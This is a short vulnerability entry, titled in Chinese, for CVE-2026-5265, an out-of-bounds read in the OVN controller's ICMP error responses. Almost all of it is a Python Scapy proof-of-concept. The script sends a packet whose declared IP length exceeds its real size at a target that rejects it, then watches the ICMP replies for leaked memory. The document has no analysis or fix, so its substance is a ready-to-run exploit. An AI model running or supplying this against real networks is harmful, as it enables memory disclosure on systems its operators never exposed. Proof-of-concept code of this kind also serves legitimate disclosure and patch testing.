CVE-2026-5265 OVN控制器ICMP响应信息泄露漏洞

# PoC for CVE-2026-5265 # This script demonstrates crafting a packet with a declared length # larger than its actual size to trigger the OOB read in ovn-controller. from scapy.all import * # Target IP (Must trigger an ICMP error, e.g., blocked by ACL) target_ip = "192.168.1.100" src_ip = "10.0.0.1" # Construct a small payload payload = b"A" * 20 # Create IP packet # The 'len' parameter in IP() sets the Total Length field in the IP header. # We set it to 1500 (standard MTU) but the actual packet size is much smaller. pkt = IP(src=src_ip, dst=target_ip, len=1500) / ICMP() / payload # Send the packet # Note: This requires the target environment to be configured to reject the packet # (e.g., via a firewall or ACL) to generate the ICMP error response. send(pkt) print("[*] Malformed packet sent. Monitor ICMP replies for memory content.")